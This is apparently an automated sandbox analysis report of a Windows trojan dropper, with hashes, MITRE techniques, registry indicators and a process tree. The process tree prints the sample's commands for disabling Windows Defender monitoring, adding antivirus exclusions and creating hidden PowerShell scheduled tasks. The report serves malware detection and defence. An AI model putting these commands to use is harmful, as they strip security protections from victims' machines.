85250ca9f679cdfebe009b7d66e409b330b35d6021e84e2ef7ceb0d64acdeff1

Analysis

max time kernel
147s
max time network
158s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
04/10/2022, 11:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

8b036a5a7406f7227ac65f44e1827fca
SHA1

3a8499ecca8be3f69cc7163b03f3f499bbe8276f
SHA256

85250ca9f679cdfebe009b7d66e409b330b35d6021e84e2ef7ceb0d64acdeff1
SHA512

91cecf5c22bd32fe5cead41884773933b49791e57e00a369818d716dea34433bb558e9feb5b2dfc37f2b4b3488c05dcc50ef1b0f267936c2945308f2e9f32b5a
SSDEEP

196608:91OeU0YzI5dCR00/4+cmJ/Dwami5rf0RejcO2h4I:3OxOCClgwa70Rej2h4I

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QpigBxJgKxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\eiYaNjTCbhfbMeVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YNUWFfCEdUiU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oWxSecJNU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oWxSecJNU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LsajhStaXkJRC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QpigBxJgKxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LsajhStaXkJRC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\eiYaNjTCbhfbMeVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YNUWFfCEdUiU2 = "0"	reg.exe

Executes dropped EXE 3 IoCs

pid	Process
1176	Install.exe
1452	Install.exe
964	OnzZbhv.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1872	file.exe
1176	Install.exe
1176	Install.exe
1176	Install.exe
1176	Install.exe
1452	Install.exe
1452	Install.exe
1452	Install.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	OnzZbhv.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	OnzZbhv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	OnzZbhv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bJbhxhmwQPPePEjnjA.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1924	schtasks.exe
1500	schtasks.exe
1360	schtasks.exe
1080	schtasks.exe
2164	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1492	powershell.EXE
1492	powershell.EXE
1492	powershell.EXE
368	powershell.EXE
368	powershell.EXE
368	powershell.EXE
952	powershell.EXE
952	powershell.EXE
952	powershell.EXE
2308	powershell.EXE
2308	powershell.EXE
2308	powershell.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	powershell.EXE
Token: SeDebugPrivilege	368	powershell.EXE
Token: SeDebugPrivilege	952	powershell.EXE
Token: SeDebugPrivilege	2308	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1872 wrote to memory of 1176	1872	file.exe	27
PID 1872 wrote to memory of 1176	1872	file.exe	27
PID 1872 wrote to memory of 1176	1872	file.exe	27
PID 1872 wrote to memory of 1176	1872	file.exe	27
PID 1872 wrote to memory of 1176	1872	file.exe	27
PID 1872 wrote to memory of 1176	1872	file.exe	27
PID 1872 wrote to memory of 1176	1872	file.exe	27
PID 1176 wrote to memory of 1452	1176	Install.exe	28
PID 1176 wrote to memory of 1452	1176	Install.exe	28
PID 1176 wrote to memory of 1452	1176	Install.exe	28
PID 1176 wrote to memory of 1452	1176	Install.exe	28
PID 1176 wrote to memory of 1452	1176	Install.exe	28
PID 1176 wrote to memory of 1452	1176	Install.exe	28
PID 1176 wrote to memory of 1452	1176	Install.exe	28
PID 1452 wrote to memory of 1204	1452	Install.exe	30
PID 1452 wrote to memory of 1204	1452	Install.exe	30
PID 1452 wrote to memory of 1204	1452	Install.exe	30
PID 1452 wrote to memory of 1204	1452	Install.exe	30
PID 1452 wrote to memory of 1204	1452	Install.exe	30
PID 1452 wrote to memory of 1204	1452	Install.exe	30
PID 1452 wrote to memory of 1204	1452	Install.exe	30
PID 1452 wrote to memory of 1940	1452	Install.exe	32
PID 1452 wrote to memory of 1940	1452	Install.exe	32
PID 1452 wrote to memory of 1940	1452	Install.exe	32
PID 1452 wrote to memory of 1940	1452	Install.exe	32
PID 1452 wrote to memory of 1940	1452	Install.exe	32
PID 1452 wrote to memory of 1940	1452	Install.exe	32
PID 1452 wrote to memory of 1940	1452	Install.exe	32
PID 1204 wrote to memory of 1104	1204	forfiles.exe	35
PID 1204 wrote to memory of 1104	1204	forfiles.exe	35
PID 1204 wrote to memory of 1104	1204	forfiles.exe	35
PID 1204 wrote to memory of 1104	1204	forfiles.exe	35
PID 1204 wrote to memory of 1104	1204	forfiles.exe	35
PID 1204 wrote to memory of 1104	1204	forfiles.exe	35
PID 1204 wrote to memory of 1104	1204	forfiles.exe	35
PID 1940 wrote to memory of 1128	1940	forfiles.exe	34
PID 1940 wrote to memory of 1128	1940	forfiles.exe	34
PID 1940 wrote to memory of 1128	1940	forfiles.exe	34
PID 1940 wrote to memory of 1128	1940	forfiles.exe	34
PID 1940 wrote to memory of 1128	1940	forfiles.exe	34
PID 1940 wrote to memory of 1128	1940	forfiles.exe	34
PID 1940 wrote to memory of 1128	1940	forfiles.exe	34
PID 1104 wrote to memory of 1296	1104	cmd.exe	36
PID 1128 wrote to memory of 1028	1128	cmd.exe	37
PID 1104 wrote to memory of 1296	1104	cmd.exe	36
PID 1128 wrote to memory of 1028	1128	cmd.exe	37
PID 1104 wrote to memory of 1296	1104	cmd.exe	36
PID 1128 wrote to memory of 1028	1128	cmd.exe	37
PID 1104 wrote to memory of 1296	1104	cmd.exe	36
PID 1128 wrote to memory of 1028	1128	cmd.exe	37
PID 1128 wrote to memory of 1028	1128	cmd.exe	37
PID 1128 wrote to memory of 1028	1128	cmd.exe	37
PID 1104 wrote to memory of 1296	1104	cmd.exe	36
PID 1104 wrote to memory of 1296	1104	cmd.exe	36
PID 1128 wrote to memory of 1028	1128	cmd.exe	37
PID 1104 wrote to memory of 1296	1104	cmd.exe	36
PID 1104 wrote to memory of 604	1104	cmd.exe	38
PID 1104 wrote to memory of 604	1104	cmd.exe	38
PID 1104 wrote to memory of 604	1104	cmd.exe	38
PID 1104 wrote to memory of 604	1104	cmd.exe	38
PID 1104 wrote to memory of 604	1104	cmd.exe	38
PID 1104 wrote to memory of 604	1104	cmd.exe	38
PID 1104 wrote to memory of 604	1104	cmd.exe	38
PID 1128 wrote to memory of 1228	1128	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Users\Admin\AppData\Local\Temp\7zS4C4D.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Users\Admin\AppData\Local\Temp\7zS5B99.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1204
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1104
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1296
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:604
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1940
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1128
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1028
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1228
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gkCnGaOqO" /SC once /ST 12:32:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1924
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gkCnGaOqO"
      4⤵
      PID:1980
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gkCnGaOqO"
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bJbhxhmwQPPePEjnjA" /SC once /ST 13:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\OnzZbhv.exe\" sw /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1500

C:\Windows\system32\taskeng.exe
taskeng.exe {856E7276-5799-4BED-9854-20133617CED2} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1492
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:368
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:952
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2380

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1596

C:\Windows\system32\taskeng.exe
taskeng.exe {8128BB1E-795F-4A4C-8654-26F835BA88CF} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1808
- C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\OnzZbhv.exe
  C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\OnzZbhv.exe sw /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gfeVmhaPj" /SC once /ST 07:53:09 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gfeVmhaPj"
    3⤵
    PID:1204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gfeVmhaPj"
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:864
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1504
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gjHlRLagw" /SC once /ST 00:38:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1080
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gjHlRLagw"
    3⤵
    PID:1604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gjHlRLagw"
    3⤵
    PID:1960
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1824
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:564
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1600
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1240
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1376
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1748
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\biwNYXhGTKCQxjLv\XCcMHJyk\TBisfLicoSuGIFYo.wsf"
    3⤵
    PID:928
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\biwNYXhGTKCQxjLv\XCcMHJyk\TBisfLicoSuGIFYo.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1628
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1752
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:948
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1604
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:604
